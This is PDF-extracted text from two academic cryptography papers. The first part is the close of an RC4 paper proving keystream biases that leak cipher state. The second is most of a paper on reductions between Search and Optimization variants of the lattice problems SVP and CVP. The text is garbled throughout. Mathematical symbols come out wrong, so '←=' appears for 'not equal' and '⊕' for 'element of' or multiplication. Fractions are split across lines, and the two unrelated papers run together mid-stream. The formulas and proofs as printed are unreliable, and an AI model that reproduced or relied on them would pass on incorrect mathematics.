t is large, zt+1 is only a little positive biased towards 0. The bias is not so
large as (6) claims, thus hard to detective. By carefully analyzing this situation
one can show that though the event Eint is correctly computed, the probability
Pr(zt+1 = 0|Eint) is slightly negative biased, i.e, smaller than 1

N , thus cancels
the positive bias. Therefore, we can still estimate the probability of Pr(zt+1 = 0)
by 1

N . However, we can detect inner state from the keystream by this theorem.
The event zt+1 = 0 is an external event in the keystream which we can obtain,
while the event Eint an internal event of the inner state which is non-visible. By
Theorem 3, Pr(zt+1|Eint) = 1. We are more interested in the event Eint|zt+1,
since it means detecting the inner state from the known keystream.

Theorem 4. When zt+1 = 0, the event st−1[t + 1] = 0 and jt−1 = 0 happens
with a probability larger than 1

N − 1
N2 , which is greatly larger than the random

case of 1
N2 .

1 All the operation ′+′ and ′−′ applying to the algorithm of RC4 are modular by N,
and the notation st[t1] means st[t1modN ].
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Proof. We denote Eint as mentioned above. Applying Bayes formula we can
derive the following.

Pr(st−1[t + 1] = 0, jt−1 = 0|zt+1 = 0)

� Pr(Eint|zt+1) =
Pr(zt+1|Eint)Pr(Eint)

Pr(zt+1)

=
1

N2 (1 − 1
N )

1
N

=
1
N

(1 − 1
N

)

From Theorem 4, one can guess jt−1 and st−1[t+ 1] for more than the prob-
ability of a random guess of 1

N2 , every time we obtain zt+1 = 0 in the RC4
keystream.

Experiment. In Fig. 1, we plot the experiment values observed by running the
RC4 algorithm 1 billion times each with a randomly selected 16 byte key, the
initial 51 ⊕ N − 1 rounds of keystream bytes are thrown away, we start from
the 51 ⊕ Nth round. We can see from the figure that most of the probability
are around 1

N , all of them are much greater than 1
N2 √ 0.000015. But some of

them are lower than 1
N − 1

N2 √ 0.00389099, this may due to the probability of
Pr(zt+1 = 0) is slightly positive biased at some ts.

4.2 The Weakness about zt = zt+1

We will introduce another general weakness of RC4 in this subsection.

Theorem 5. When t � 1 and t ←= −2(mod N), if jt−1 = 0, st−1[t] = t+1, then
we have zt ←= zt+1.

Proof. At the tth round, jt is updated by jt = jt−1 + st−1[t] = t + 1, together
with it = t, we get st[t+ 1] = st−1[t] = t+ 1, st[t] = st−1[t+ 1]. And the output
is

zt = st[st[t + 1] + st[t]] = st[st[t] + t + 1].

Fig. 1. The probability of Pr(st−1[t + 1] = 0, jt−1 = 0|zt+1 = 0) at 51 ∗ N to 52 ∗ N
rounds
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During the (t + 1)th round, jt+1 is updated by jt+1 = jt + st[t + 1] = 2t + 2,
therefore we swap st[t+1] and st[2t+2], i.e, st+1[t+1] = st[2t+2], st+1[2t+2] =
st[t + 1] = t + 1. And the output is

zt+1 = st+1[st+1[t + 1] + st+1[2t + 2]] = st+1[st[2t + 2] + t + 1].

We derive from t ←= −2 that st[t] ←= st[2t+ 2], thus the indices of zt and zt+1 are
unequal. Therefore if zt = zt+1, the indices of zt and zt+1 are both the exchange
indices at round t + 1, there are two cases

st[t] + t + 1 = t + 1, st[2t + 2] + t + 1 = 2t + 2 (7)

or
st[t] + t + 1 = 2t + 2, st[2t + 2] + t + 1 = t + 1 (8)

For (7), st[2t+ 2] = t+ 1 = st[t+ 1], thus t = −1,(modN). Substitute the value
of t to (7), we get s−1[−1] = s−1[0] = 0. This contradicts to the fact that s−1 is a
permutation. Equation(8) implies st[t] = t+1 = st[t+1], this is also impossible.

In [8,9], S.Paul and B.Preneel gave their discovery about the non-randomness of
the event z1 = z2. However, there hasn’t been much research on the distribution
of the events zt = zt+1 when t > 1. Similar to the analysis of the event zt = 0,
when applying to the first N bytes, the non-uniformly distributed s0 has big
influence on the event zt = zt+1, while to the round number t is large enough,
the state st is expected to be uniformly distributed, we plot the distribution of
Pr(zt = zt+1) in Fig. 2, also, we run the RC4 algorithm 1 billion times, each
with a randomly selected 16 byte key. We conclude from the figure that when
the round number t is small, the probability is lower than random case of 1

N , and
when t is large enough, it is uniformly distributed. The same as the weakness
mentioned in Sect. 4.1, it will leads to information leakage when t is large enough.

Theorem 6. When zt ←= zt+1 and t ←= −2, the event jt−1 = 0, st−1[t] = t + 1
happens with probability of 1

N2−N , which is larger than 1
N2 .

Proof. When t ←= −2, using Theorem 5 as well as applying Bayes formula we can
derive the following.

Pr(st−1[t] = t + 1, jt−1 = 0|zt ←= zt+1)

=
Pr(zt ←= zt+1|st−1[t] = t + 1, jt−1 = 0)Pr(st−1[t] = t + 1, jt−1 = 0)

Pr(zt ←= zt+1)

=
1
N2

1 − 1
N

=
1

N2 − N
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Fig. 2. The probability of Pr(zt = zt+1) at the first N rounds

5 Conclusion

In this paper, we give out the theoretical proof of the negative bias of z1 towards
0, which is an open problem proposed in [10]. This bias can distinguish RC4
keystream reliably from a random stream of bytes. Further, the bias can be
exploited to mount an attack against broadcast RC4. In addition to the 2th to
255th plaintext bytes recovery in [3,10], we are able to recover the first N bytes.

Further, we propose some weaknesses in the whole PRGA phase, contrary
to the previous work, the weaknesses still exists even though the first N bytes
are dumped, and will lead to the leakage of the state information. We would
like to make a small note on a related observation, the probability of Pr(zt+1 =
0|st−1[t + 1] = 0, jt−1 = 0, st−1[t + 1] ←= t + 1) is smaller than 1

N , i.e, slightly
negative biased, where Ā denotes the complement event of A. But we haven’t
found the reason, we would like to pose this as an open problem.
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Abstract. It is well known that Search SVP is equivalent to Optimiza-
tion SVP. However, the classical reduction from Search SVP to Optimiza-
tion SVP by Kannan needs polynomial times of calls to the oracle that
solves Optimization SVP. In this paper, a new rank-preserving reduction
is presented with only one call to the Optimization SVP oracle. The idea
also leads to a similar direct reduction from Search CVP to Optimiza-
tion CVP with only one call to the corresponding oracle. Both of the
reductions above can be generalized for lp norm with p ∈ Z

+.
On the other hand, whether the search and optimization variants

of approximate SVP are computationally equivalent is an outstanding
open problem. Recently, Cheng gave a reduction from Search SVPγ to

Optimization SVPγ
∗ , where γ

∗
= γ

1
n(n−1) log2 γn is much smaller than

γ. We slightly improve the reduction by making γ
∗

= γ
O(log2 n)

n(n−1) log2 γn . In
addition, a reduction from Search CVPγ to Optimization CVPγ

∗ with

γ
∗
= γ

1
n�n/2+log2 γ·dist(t,L(B))� is also presented.

Keywords: Search SVP · Optimization SVP · GapSVP · Lattice ·
Reduction

1 Introduction

Lattices have many important applications in cryptographic constructions due
to the seminal work of Ajtai [1] in 1996 which first connected the average-case
complexity of lattice problems to their complexity in the worst case. Many
lattice-based public-key cryptosystems have been proposed since then like the
well-known Ajtai-Dwork cryptosystem [2], Regev’s LWE-based cryptosystem
[18], the GPV system [6] and the famous NTRU [7]. Moreover, a lot of other
lattice-based cryptographic primitives have been also presented, such as the hash
function [1,12,14,16], the digital signatures schemes NTRUSign [8] and the fully
homomorphic encryption [5]. Usually, the securities of these schemes can be
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based on the hardness of some lattice problems, such as SVP and CVP. SVP
(the shortest vector problem) and CVP (the closest vector problem) are two
of the most famous computational problems of lattice. SVP refers to finding a
shortest non-zero vector in a given lattice, whereas CVP asks to find a lattice
vector closest to a given target vector.

Depending on whether we have to actually find a shortest vector, find its
length, or just decide if it is shorter than some given number, there are three
different variants of SVP: Search SVP, Optimization SVP and Decisional SVP
(See Sect. 2 for the definitions).

It has been proved that the three problems of SVP are equivalent to each
other (see [15]). It is easy to check that Decisional SVP is as hard as Optimization
SVP and the optimization variant can be reduced to the search variant.

In 1987, Kannan [11] showed that the search variant can be reduced to the
optimization variant. The basic idea of his reduction is to recover the integer
coefficients of some shortest vector under the given lattice basis by introducing
small errors to the original lattice basis. However, his reduction is a bit complex.
It needs to call Optimization SVP oracle polynomial times, since it could not
determine the signs of the shortest vector’s entries at one time. It also needs an
oracle to solve Optimization SVP for some lattices with lower rank along with
the same rank as the original lattice.

In this paper, we propose a new rank-preserving reduction which can solve
Search SVP with only one call to the given Optimization SVP oracle. It is obvious
that there is no reduction with less calls than ours. For the new reduction, we
try to construct a new lattice by adding small errors to the original lattice basis
such that the integer coefficients of the new lattice’s shortest vector under the
new basis are the same as the integer coefficients of some shortest vector in the
original lattice under the original lattice basis. Moreover, by the Optimization
SVP oracle, we can recover the integer coefficients.

A similar direct reduction from Search CVP to Optimization CVP with only
one call also holds whereas some popular reductions [15,17] usually take Deci-
sional CVP to bridge Search CVP and Optimization CVP. The former reduction
from Decisional CVP to Optimization CVP needs one call to the Optimization
CVP oracle, but it needs polynomial times of calls to reduce Search CVP to
Decisional CVP.

Both of our two reductions can be generalized to the case for any lp-norm
(p ⊕ Z

+).
Since there exists efficient reduction from Search SVP to Optimization SVP,

we want to obtain similar results for the approximate version. In fact, one
open problem on the complexity of lattice problems is whether the search and
optimization variants of approximate SVP are computationally equivalent. As
pointed out in [13], once there exists an efficient reduction from Search SVPα

to Optimization SVPα , almost all the lattice problems used in cryptography,
such as uSVP (unique SVP), BDD (Bounded Distance Decoding), SIVP (the
shortest independent vector problem), GapSVP (Decisional SVP), SVP, CVP,
are equivalent up to polynomial factors.
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It seems difficult to generalize our idea above to solve the problem, for our new
reduction is sensitive to the error. However, Cheng [9] recently gave a reduction
from Search SVPα to Optimization SVPα∗ with δ

∗
= δ

1
n(n−1) log2 γn . His reduction

uses the framework in [13] but shrinks the factor δ too much.

We slightly improve this result to δ
∗
= δ

O(log2 n)
n(n−1)(n+log2(γn)) , but we have to point

out that it is still far away to be useful to give some meaningful result about
the complexity of some lattice problems because the approximation factor is still
shrunk exponentially.

Finally, enlightened by the idea in the above reduction, we present a
new reduction from Search CVPα to Optimization CVPα∗ where δ

∗
=

δ
1

n�n/2+log2 γ·dist(t,L(B))� . This is the first reduction from Search CVPα to Opti-
mization CVPα∗ although δ

∗
is also much smaller than δ.

The remainder of the paper is organized as follows. In Sect. 2, we give some
preliminaries needed. In Sect. 3, we describe the new reduction from Search SVP
to Optimization SVP. In Sect. 4, an improved reduction from Search SVPα to

Optimization SVPα∗ with δ
∗

= δ
O(log2 n)

n(n−1)(n+log2(γn)) is given. Our reduction from
Search CVPα to Optimization CVPα∗ can be found in Sect. 5. Finally, we give
a short conclusion in Sect. 6.

2 Preliminaries

Given a matrix B = (bij) ⊕ R
m×n with rank n, the lattice L(B) spanned by the

columns of B is

L(B) = {Bx =
n∑

i=1

xibi|xi ⊕ Z},

where bi is the i-th column of B. We call m the dimension of L(B) and n its
rank. The determinant of L(B), say det(L(B)), is defined as

⎧
det(BT B). It is

easy to see when B is full-rank (n = m), its determinant becomes |det(B)|.
A sublattice of L(B) is a lattice whose elements are all in L(B). The space

spanned by B is defined as span(B) = {By|y ⊕ R
n}. The dual lattice L(D) of

L(B) is defined as L(D) = {z ⊕ span(B)|∀y ⊕ L(B), yT z ⊕ Z}. Moreover, a
basis of L(D) is given by B(BT B)−1, and det(L(D)) = det(L(B))−1.

The first minima of lattice L(B) is defined as

α1(L(B)) = min
0 ∞=v∈L(B)

≤v≤,

where ≤v≤ is the l2 norm of vector v. Minkowski’s first theorem tells us that for
any lattice L(B) with rank n,

α1(L(B)) √ ←
n · det(L(B))1/n.

SVP usually refers to finding a vector in L(B) with length α1(L(B)). It has
the following three variants:
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– Search SVP: Given a lattice basis B ⊕ Z
m×n, find v ⊕ L(B) such that ≤v≤ =

α1(L(B)).
– Optimization SVP: Given a lattice basis B ⊕ Z

m×n, find α1(L(B)).
– Decisional SVP: Given a lattice basis B ⊕ Z

m×n and a rational r ⊕ Q, decide
whether α1(L(B)) √ r or not.

Notice that we restrict the lattice basis to be integer vectors instead of arbitrary
real vectors. The purpose is to make the input representable in finite bits so we
can view it as a standard computation problem.

Since SVP is proved to be NP-hard under randomized reductions (see [3]),
its approximate versions are attracting more attention. With approximate factor
δ ∈ 1, the corresponding variants of approximate SVP are:

– Search SVPα : Given a lattice basis B ⊕ Z
m×n, find v ⊕ L(B) such that

≤v≤ √ δ · α1(L(B)).
– Optimization SVPα : Given a lattice basis B ⊕ Z

m×n, find d such that d √
α1(L(B)) √ δ · d.

– Decisional SVPα : Given a lattice basis B ⊕ Z
m×n and a rational r ⊕ Q, decide

α1(L(B)) √ r or α1(L(B)) > δ · r.

For the Search SVPα , the famous LLL algorithm [10] tells us a basis b1, b2, . . . , bn

can be found in polynomial time such that

≤b1≤ √ 2(n−1)/2α1(L(B)).

The Decisional SVPα is usually denoted by GapSVPα . This is a promise
problem defined by two disjoint sets: the YES instances (α1(L(B)) √ r) and the
NO instances (α1(L(B)) > δ · r). We have to decide which set the input lattice
is taken from.

Given any t ⊕ R
m, the distance of t to L(B) is defined as

dist(t,L(B)) = min
v∈L(B)

≤t − v≤.

In the same way, for approximate factor δ ∈ 1, CVPα also has three variants:

– Search CVPα : Given a lattice basis B ⊕ Z
m×n and a target t ⊕ Q

m, find
v ⊕ L(B) such that ≤t − v≤ √ δ · dist(t,L(B)).

– Optimization CVPα : Given a lattice basis B ⊕ Z
m×n and a target t ⊕ Q

m,
find d such that d √ dist(t,L(B)) √ δ · d.

– GapCVPα : Given a lattice basis B ⊕ Z
m×n, a target t ⊕ Q

m and a rational
r ⊕ Q. In YES instances, dist(t,L(B)) √ r. In NO instances, dist(t,L(B)) >
δ · r.

For the Search CVPα , Babai’s Nearest Plane Algorithm [4] says a lattice
vector v can be found in polynomial time such that

≤t − v≤ √ 2(n−1)/2 · dist(t,L(B)).

Notice that when δ = 1, these problems will become exact variants of CVP.
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3 The New Reduction from Search SVP
to Optimization SVP

For simplicity, we just give the new reduction for the full rank lattice, i.e.,
n = m, as in [11], with l2 norm. It is easy to generalize the new reduction
for the lattices with rank n < m and lp norm (p ⊕ Z

+).

3.1 Some Notations

Given a lattice basis B = (bij) ⊕ Z
n×m, let M(B) = max |bij |. For lattice L(B),

we define its SVP solution set SB as:

SB = {x ⊕ Z
n|≤Bx≤ = α1(L(B))}.

SB is nonempty and might contain more than one element.
We denote by poly(n) the polynomial in n. More generally, the polynomial

in the variables n1, n2, . . . , np is denoted by poly(n1, n2, . . . , np).

3.2 Some Lemmas and Corollaries

We need some lemmas and corollaries to prove our main theorem.

Lemma 1. Given a fixed positive integer p, then for every positive integer n ∈ p,
there exist n positive integers a1 < a2 < · · · < an s.t. all the ai1 + · · · + aip

(i1 √
. . . √ ip)’s are distinct (up to a permutation) and an is bounded by poly(n).

Proof. We can take

ai =
p∑

k=0

(p(n + 1)p)(p−k)ik,

for i = 1, 2, . . . , n. Suppose

ai1 + ai2 + · · · + aip
= aj1 + aj2 + · · · + ajp

,

for some i1, . . . , ip, j1, . . . , jp.
Let βk(i) =

⎪p
t=1(it)

k and βk(j) =
⎪p

t=1(jt)k, then the former equality
turns to

p∑

k=0

(p(n + 1)p)(p−k)βk(i) =
p∑

k=0

(p(n + 1)p)(p−k)βk(j).

Notice that βk(i), βk(j) < p(n+1)p for k = 1, 2, . . . , p, then by taking both sides
modulo p(n + 1)p, we get

βp(i) = βp(j),

which leads to

p−1∑

k=0

(p(n + 1)p)(p−k−1)βk(i) =
p−1∑

k=0

(p(n + 1)p)(p−k−1)βk(j).
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Again taking both sides modulo p(n + 1)p, we get

βp−1(i) = βp−1(j).

Similarly, we repeat this procedure to obtain

βk(i) = βk(j),

for k = 1, 2, . . . , p. Thus by the property of the symmetric polynomials, we know
that i1, . . . , ip and j1, . . . , jp are both exactly all the roots of a same polynomial,
which implies i1, . . . , ip and j1, . . . , jp are equal up to a permutation. Hence all
the ai1 + · · ·+aip

(i1 √ · · · √ ip)’s are distinct. Since p is a fixed positive integer,
then by our choice, an is bounded by poly(n).

Corollary 1. For every positive integer n > 1, there exist n positive integers
a1 < a2 < · · · < an s.t. all the ai + aj(i √ j)’s are distinct and an is bounded by
poly(n).

Lemma 2. Given a positive odd integer q > 2, and any positive integer n, which
satisfies n =

⎪k
i=0 niq

i where |ni| √ →q/2∅, then we can recover the coefficients
ni’s in ∼logq n� steps.

Proof. We can recover n0 by computing a ≡ n mod q and choose a in the interval
from −→q/2∅ to →q/2∅. After obtaining n0, we get another integer (n−n0 ∗q0)/q.
Recursively in ∼logq n� steps, we can recover all the coefficients.

Lemma 3. For bivariate polynomial f(x, y) = xy, given any lattice basis matrix
B ⊕ Z

n×n, α1(L(B)) has an upper bound f(M,n), where M = M(B). What’s
more, for every x ⊕ SB, |xi| (i = 1, . . . , n) has an upper bound f(Mn, nn).

Proof. The length of any column of B is an upper bound of α1(L(B)), so
α1(L(B)) √ n1/2M √ nM .

For x ⊕ SB , we let y = Bx, then ≤y≤ = α1(L(B)) √ ←
nM . By Cramer’s

rule, we know that

xi =
det(B(i))
det(B)

,

where B(i) is formed by replacing the ith column of B by y. By Hadamard’s
inequality, |det(B(i))| √ nn/2Mn √ nnMn. We know |det(B)| ∈ 1 since det(B)
is a non-zero integer. Hence |xi| √ nnMn.

3.3 The Main Theorem

Theorem 1. Assume there exists an oracle O that can solve Optimization SVP
for any lattice L(B′) with basis B′ ⊕ Z

n×n, then there is an algorithm that can
solve Search SVP for any lattice L(B) with basis B ⊕ Z

n×n with only one call
to O in poly(log2 M,n, log2 n) time, where M = M(B).



Improvements on Reductions among Different Variants of SVP and CVP 45

Proof. The main steps of the reduction are as below:
(1) Constructing a new lattice L = L(Bβ).

We construct Bβ from the original lattice basis B:

Bβ = γn+1B +

⎛

⎜
⎜
⎜
⎝

γ1 γ2 . . . γn

0 0 . . . 0
...

...
...

0 0 . . . 0

⎞

⎟
⎟
⎟
⎠

,

where the γi will be determined as below.
For any x ⊕ Z

n, we define

c(x) =
n∑

i=1

b1ixi,

for x ⊕ SB . By Lemma 3, |xi| has an upper bound f(Mn, nn). Let M1 = 2f((M+
1)n, nn). In addition, ≤Bx≤ = α1(L(B)) is bounded by f(M,n). Let M2 =
f(M + 1, n). since |c(x)| √ ≤Bx≤, |c(x)| is also bounded by M2 . We let

R = 2 ∗ max {M2
2 , 2M1M2, 2M2

1 } + 1.

By Corollary 1, we can choose n + 1 positive integers a1 < a2 < . . . < an+1,
such that all the ai + aj(i √ j)’s are distinct where an+1 is bounded by poly(n).
Let

γi = Rai .

We claim that
SBε

⊆ SB .

Since SBε
= S 1

εn+1
Bε

by scaling, it is enough to prove S 1
εn+1

Bε
⊆ SB .

We first show that |det ( 1
βn+1

Bβ)| ∈ 1
2 . Notice that

det (
1

γn+1
Bβ) = det(B) +

n∑

i=1

ηi
γi

γn+1
,

where ηi is the cofactor of b1i in B. Since βi

βn+1
√ 1

R2 and |ηi| √ Mn−1(n−1)n−1

by Hadamard’s inequality, |⎪n
i=1 ηi

βi

βn+1
| √ 1

R2 Mn−1nn < 1
2 . Notice that det(B)

is a non-zero integer, we get |det ( 1
βn+1

Bβ)| ∈ 1
2 .

For any x ⊕ S 1
εn+1

Bε
, by the proof of Lemma 3 and the fact that

|det ( 1
βn+1

Bβ)| ∈ 1
2 , we know that |xi| √ M1, |c(x)| √ M2. By the choice of

R, we have x2
i , 2c(x)xi, 2xixj are in the interval [−→R/2∅, →R/2∅].

Next, we prove S 1
εn+1

Bε
⊆ SB . Suppose there exists x ⊕ S 1

εn+1
Bε

but x �⊕ SB,

then
≤Bx≤2 ∈ α1(L(B))2 + 1.
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Taking y ⊕ SB, we get 1
βn+1

Bβy ⊕ L( 1
βn+1

Bβ). Noticing γn+1 > R2γn, βiβj

β2n+1
(i √

j)’s are different powers of R (by our choice of γi and Corollary 1), and y2
i ,

2c(y)yi, 2yiyj are in the interval [−→R/2∅, →R/2∅] by the choice of R, we have

≤ 1
βn+1

Bβy≤2 = ≤By≤2 +
⎪n

i=1 y2
i ( βi

βn+1
)2 +

⎪n
i=1 2c(y)yi

βi

βn+1
+

⎪
i<j 2yiyj

βiβj

β2n+1

< α1(L(B))2 + (→R/2∅ + 1) βn

βn+1

√ ≤Bx≤2 − (1 − (→R/2∅ + 1) βn

βn+1
)

< ≤Bx≤2 − (→R/2∅ + 1) βn

βn+1

√ ≤Bx≤2 +
⎪n

i=1 x2
i (

βi

βn+1
)2 +

⎪n
i=1 2c(x)xi

βi

βn+1
+

⎪
i<j 2xixj

βiβj

β2n+1

= α1(L( 1
βn+1

Bβ))2,

which is a contradiction. Hence SBε
⊆ SB .

(2) Querying the oracle O with Bβ once, we get α1(L(Bβ)).
So there exists x = (x1, . . . , xn)T ⊕ SBε

⊆ SB , such that

≤Bx≤2γ2n+1 +
n∑

i=1

x2
i γ

2
i +

n∑

i=1

2c(x)xiγn+1γi +
∑

i<j

2xixjγiγj = α1(L(Bβ))2.

(3) Recovering all the xi’s and output Bx.
Since x ⊕ SB, every coefficient ≤Bx≤2, x2

i , 2c(x)xi, 2xixj is in the inter-
val [−→R/2∅, →R/2∅] and γiγj (i √ j)’s are different powers of R. Hence, log2
(α1(L(Bβ))) is bounded by poly(log2 M,n, log2 n). Furthermore, by Lemma 2,
we can recover all the coefficients in poly(log2 M,n, log2 n) time. Especially, we
can recover all x2

i and xixj(i �= j). Let k = min{i|xi �= 0}. We fix xk =
⎧

x2
k > 0,

and can recover all the remaining xj = sign(xkxj)
√

x2
j according to x2

j and
xkxj(k �= j).

It is easy to check that the time and space complexity of every step is bounded
by poly(log2 M,n, log2 n).

Remark 1. Notice that the norm in our main theorem is the most common l2-
norm. In fact, our result can be easily generalized to the case for lp-norm (p ⊕ Z

+)
by Lemma 1.

Remark 2. For any Search CVP instance (B, t), given an oracle which can solve
the Optimization CVP, we can call the oracle with (Bβ, γn+1t) only once to solve
the Search CVP similarly.

4 Improved Reduction from Search SVPγ to Optimization
SVPγ

′

In [9], Cheng gave a reduction from Search SVPα to Optimization SVPα∗ where

δ
∗
= δ

1
n(n−1)(n+log2(γn)) . We slightly improve the result to δ

∗
= δ

O(log2 n)
n(n−1)(n+log2(γn)) .

As in [9] (Theorem 1), the main idea is to obtain lower rank sublattice of L(B)
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which still contains an approximate shortest lattice vector of L(B). After low-
ering the rank for several (n − 1) times, we finally obtain a rank-one sublattice
of L(B) containing a short vector. Since it is easy to find the shortest vector in
a lattice with rank one (its basis), we can find an approximate shortest lattice
vector of L(B). Below we will give a self-contained proof.

Theorem 2. For any δ ∈ 1, Search SVPα can be polynomially reduced to Opti-

mization SVPα∗ where δ
∗
= δ

O(log2 n)
n(n−1)(n+log2(γn)) .

Proof. Given the input instance B = (b1, b2, . . . , bn), we intend to find v ⊕ L(B)
such that ≤v≤ √ δ · α1(L(B)).

First, for k = O(log2 n), we consider 2k+1 −1 sublattices of L(B) where their
respective bases are Bi,j = (2ib1 + jb2, 2k−ib2, b3, . . . , bm)(i = 1, 2 . . . , k, 0 √ j <
2k−i). Notice for every Bi,j , det(L(Bi,j)) = 2k det(L(B)). We claim that

L(B) =
⋃

i,j

L(Bi,j).

For any w = x1b1 + x2b2 + · · · + xnbn in L(B), x1 ⊕ Z can be written as
x1 = 2rs, where s is odd. If r ∈ k, then w ⊕ L(Bk,0) = L(2kb1, b2, . . . bm).
Otherwise, we assume r < k. There exist integers p, q such that sp + 2k−rq = 1
since (s, 2k−r) = 1, which implies spx2 + 2k−rqx2 = x2. We take i = r, j = px2

mod 2k−r, then s(2ib1 + jb2) + (qx2 + spx2−j
2k−r )2k−rb2 = x1b1 + x2b2. So w ⊕

L(Bi,j), thus L(B) ⊆ ⋃

i,j

L(Bi,j). On the other hand, since all the L(Bi,j)’s are

sublattices of L(B), our claim follows.
Secondly, we want to find a good sublattice L(Bi,j) of the original lattice

L(B) still containing a short lattice vector. We query the Optimization SVPα∗

oracle for 2k+1 (which is ploy(n) by the choice of k) times with these Bi,j and
get the output intervals Ii,j = [ri,j , δ

∗ · ri,j) containing α1(L(Bi,j)) respectively.
Specially, we can invoke the SVPα∗ oracle for B to obtain an interval I = [r, δ

∗ ·r)
containing α1(L(B)). By our claim, a shortest lattice vector in L(B) must lie in
some L(Bi,j) which means I must intersect some Ii,j ’s. We take Ii0,j0 that has
the smallest left endpoint from these Ii,j ’s. We claim

α1(L(Bi0,j0)) √ δ
∗ · α1(L(B)).

Let Ii∗ ,j∗ be the interval where a shortest lattice vector in L(B) lies. Then by
the choice of Ii,j , α1(L(Bi0,j0)) √ δ

∗ · ri0,j0 √ δ
∗ · ri∗ ,j∗ √ δ

∗ · α1(L(B)).
Thirdly, we repeat this procedure by replacing the input B with the Bi0,j0 .

After t = n(n+log2(αn))
O(log2 n) steps, we obtain a sublattice L(B

∗
) of L(B) such that

α1(L(B
∗
)) √ (δ

∗
)t · α1(L(B)),

where det(L(B
∗
)) = 2kt det(L(B)) ∈ 2n(n+log2 αn) det(L(B)).
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According to Minkowski’s bound, we have α1(L(B)) √ ←
n det(L(B))1/n.

Denote by u
∗
a shortest lattice vector in L(B

∗
), then

≤u
∗≤ √ (δ

∗
)t

←
n det(L(B))1/n.

Assume L(D) is the dual lattice of L(B
∗
). Then det(L(D)) √ 1/(2n(n+log2 αn)

det(L(B))). By the LLL Algorithm [10], we can find a vector u ⊕ L(D) such
that

≤u≤ < 2n
←

n det(L(D))1/n √ ←
n2n/(2(n+log2 αn) det(L(B))1/n)

= 1/(δ
←

n det(L(B))1/n).

By Cauchy–Schwarz inequality, we have

|〈u∗
, u〉| √ ≤u

∗≤ · ≤u≤ < (δ
∗
)t/δ √ 1.

Since u
∗ ⊕ L(B

∗
), u ⊕ L(D), 〈u∗

, u〉 is an integer, which means 〈u∗
, u〉 = 0. Hence

u
∗
lies in the sublattice of L(B

∗
) orthogonal to u. Denote this sublattice by L(B1)

and notice that its rank is n − 1. Therefore, we can efficiently find a lower rank
sublattice L(B1) ⊆ L(B) such that α1(L(B1)) √ (δ

∗
)tα1(L(B)).

Finally, after repeating n − 1 times of the above procedures, we obtain a
sublattice L(Bn−1) of rank one with

α1(L(Bn−1)) √ (δ
∗
)(n−1)tα1(L(B)).

Since a lattice basis is already the shortest lattice vector in any 1-rank lattice
and (δ

∗
)(n−1)t = δ, we can find a lattice vector in L(B) of length α1(L(Bn−1)) √

δα1(L(B)). This completes our proof.

Remark 3. The above reduction is for l2-norm. Using the fact that for any v ⊕ R
n

and any p ∈ 1, ≤v≤2/
←

n √ ≤v≤p √ n1/p≤v≤2, we can generalize our reduction to

the case for any lp-norm, where δ
∗
= δ

O(log2 n)

n(n−1)(n+log2(γn3/2+1/p)) .

5 Our Reduction from Search CVPγ to Optimization
CVPγ

′

In this section, we present our reduction from Search CVPα to Optimization
CVPα∗ where δ

∗
= δ

1
n�n/2+log2 γ·dist(t,L(B))� . We have to point out that the rela-

tionship between two approximate factors δ and δ
∗
is still waiting to be improved.

Theorem 3. For any δ
∗ ∈ 1 and n ∈ 4, Search CVPα can be solved in

polynomial time given an oracle solving Optimization CVPα∗ where δ
∗

=

δ
1

n�n/2+log2 γ·dist(t,L(B))� .
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Proof. Given the input lattice basis B = (b1, b2, . . . , bn) ⊕ Z
m×n and a target

t ⊕ Q
n, we call the Optimization CVPα∗ oracle to obtain an interval [r, δ

∗ · r)
containing dist(t,L(B)) � d. Our goal is to find a v ⊕ L(B) s.t. ≤v − t≤ √
δ · dist(t,L(B)).

Firstly, a sequence of instance (Bi, ti)(i = 0, 1, . . . , k, where k = ∼n/2+log2 δ ·
d�) is constructed in the following way.

Let B0 = B, t0 = t and Bi = (2ib1, b2, . . . , bn). We want to construct ti+1

from ti, Bi and Bi+1. Given (Bi, ti), we call the Optimization CVPα∗ oracle
on the three inputs (Bi, ti), (Bi+1, ti) and (Bi+1, ti − 2ib1) to get three interval
I0 = [r0, δ ·r0), I1 = [r1, δ ·r1) and I2 = [r2, δ ·r2) containing dist(ti,L(Bi)) � d0,
dist(ti,L(Bi+1)) � d1 and dist(ti − 2ib1,L(Bi+1)) � d2 respectively. Notice that

L(Bi) = L(Bi+1) ∪ (L(Bi+1) + 2ib1),

meaning d1 = d0 or d2 = d0. So I0 must intersect at least one of I1 and I2.
Similar to that in the proof of Theorem 2, let Ii0 be the interval having the
smallest left endpoint in these Ii’s that intersect I0. Then we set ti+1:

ti+1 =

{
ti (i0 = 1)
ti − 2ib1 (i0 = 2).

(1)

We can also prove that

dist(ti+1,L(Bi+1)) √ δ
∗ · dist(ti,L(Bi)).

Hence we can find (Bk = (2kb1, b2, . . . bn), tk) such that dist(tk,L(Bk)) √ (δ
∗
)k ·

dist(t,L(B)).
Secondly, by repeating this procedure for other lattice basis vector b2, . . . , bn,

we obtain (Bnk = (2kb1, 2kb2, . . . , 2kbn), tnk) s.t.

dist(tnk,L(Bnk)) √ (δ
∗
)nk · dist(t,L(B)) = δ · dist(t,L(B)) = δ · d,

where tnk is of the form t+u (u ⊕ L(B) is known). We denote dist(tnk,L(Bnk))
by dnk.

Notice that the new lattice L(Bnk) = 2kL(B) is sparse enough with
α1(L(Bnk)) = 2kα1(L(B)) ∈ 2k · 1 = 2k. For the choice of k,

α1(L(Bnk)) ∈ 2k ∈ 2n/2δd ∈ 2n/2dnk.

By Babai’s Nearest Plane Algorithm [4] on input (Bnk, tnk), we can find a
lattice vector v ⊕ L(Bnk) s.t. ≤v − tnk≤ √ 2

n−1
2 · dnk. We claim that v is the

lattice vector closest to tnk in L(Bnk). Let v′ be the lattice vector closest to tnk

in L(Bnk), then ≤v′−tnk≤ = dnk. We will show v = v′. For any w �= v′ ⊕ L(Bnk),
we have

≤w−tnk≤ ∈ ≤w−v′≤−≤v′−tnk≤ ∈ α1(L(Bnk))−dnk ∈ 2n/2dnk−dnk > 2
n−1
2 dnk,



50 G. Hu and Y. Pan

where the last inequality comes from n ∈ 4. Together with ≤v−tnk≤ √ 2
n−1
2 ·dnk,

we have v is actually the lattice vector closest to tnk in L(Bnk). Thus we have

≤v − tnk≤ = dist(tnk,L(Bnk)) √ δ · dist(t,L(B)).

Finally, as v is in L(B), we subtract the known u from v to get our Search CVPα

solution v − u.

Remark 4. The above reduction can also be generalized to the case for any lp-

norm, where δ
∗
= δ

1
n�n/2+log2 γn1/p·dist(t,L(B))� .

6 Conclusions

In this paper, we give a new reduction from Search SVP to Optimization SVP
with only one call, which is the least, to the Optimization SVP oracle. A similar
result for CVP also holds. When it goes to approximate version, inspired by
